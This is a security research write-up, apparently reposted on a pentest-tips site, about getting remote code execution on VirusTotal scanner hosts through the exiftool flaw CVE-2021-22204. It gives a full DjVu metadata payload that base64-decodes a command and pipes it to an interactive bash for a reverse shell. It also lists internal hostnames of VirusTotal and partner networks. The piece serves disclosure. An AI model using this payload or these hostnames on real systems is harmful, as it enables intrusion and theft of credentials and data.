Exploiting remote code execution within VirusTotal platform in order to gain access to its various scans capabilities.

渗透技巧 3年前 (2022) admin

735 0 0

After a deep security research by Cysource research team led by Shai Alfasi & Marlon Fabiano da Silva, we found a way to execute commands remotely within VirusTotal platform and gain access to its various scans capabilities. About virustotal:

The virustotal.com application has more than 70 antivirus scanners that scan files and URLs sent by users.

The original idea of the exploration was to use the CVE-2021-22204 so that these scanners would execute the payload as soon as the exiftool was executed.

Technical part:The first step was uploading a djvu file to the page https://www.virustotal.com/gui/
with the payload:

content: (metadata “\c${system(‘bash -c \”{echo,BASE64-ENCODED-COMMAND-TO-BE-EXECUTED }|{base64,-d }|{bash,-i }\” ; clear’) };”)

Virustotal.com analyzed my file and none of the antiviruses detected the payload added to the file’s metadata.

According to the documentation at the link:
https://support.virustotal.com/hc/en-us/articles/115002126889-How-it-works ,
virustotal.com uses several scans. The application sent our file with the payload to several hosts to perform the scan.

Exploiting remote code execution within VirusTotal platform in order to gain access to its various scans capabilities.

On virustotal hosts, at the time that exiftool is executed, according to CVE-2021-22204 inform, instead of exiftool detecting the metadata of the file it executes our payload. Handing us a reverse shell on our machine.

After that we noticed that it’s not just a Google-controlled environment, but environments related to internal scanners and partners that assist in the virustotal project. In the tests it was possible to gain access to more than 50 internal hosts with high privileges.
Hosts identified within the internal network:

172-24-241-97.kamala-prober.zion-rel.svc.cluster.local
kubernetes.default.svc.cluster.local – 172.19.0.1
scanner–rel–kaspersky-244.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner–rel–kaspersky-249.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner–rel–kaspersky-279.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner–rel–kaspersky-339.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner–rel–typer-7b4c979bc9-bskr8 scanner–zzbm–typer-7b4c979bc9-cf5f7
gaea.qianxin-inc.cn.qianxin-inc.cn
sandk8s23.dlc.zzbm.360es.cn
sandk8s24.dlc.zzbm.qianxin-inc.cn
sandk8s25.dlc.zzbm.qianxin-inc.cn
sandk8s26.dlc.zzbm.360es.cn
sandk8s27.dlc.zzbm.360es.cn
sandk8s28.dlc.zzbm.qianxin-inc.cn
etc…

The interesting part is every time we uploaded a file with a new hash containing a new payload, virustotal forwarded the payload to other hosts. So, not just we had a RCE, but also it was forwarded by Google’s servers to Google’s internal network, it customers and partners.

Various types of services were found within the networks, such as: mysql, Kubernetes, oracle database, http and https applications, metrics applications, SSH, etc.

Due to this unauthorized access, it was possible to obtain sensitive and critical information such as: Kubernetes tokens and certificates, service settings info, source codes, Logs, etc.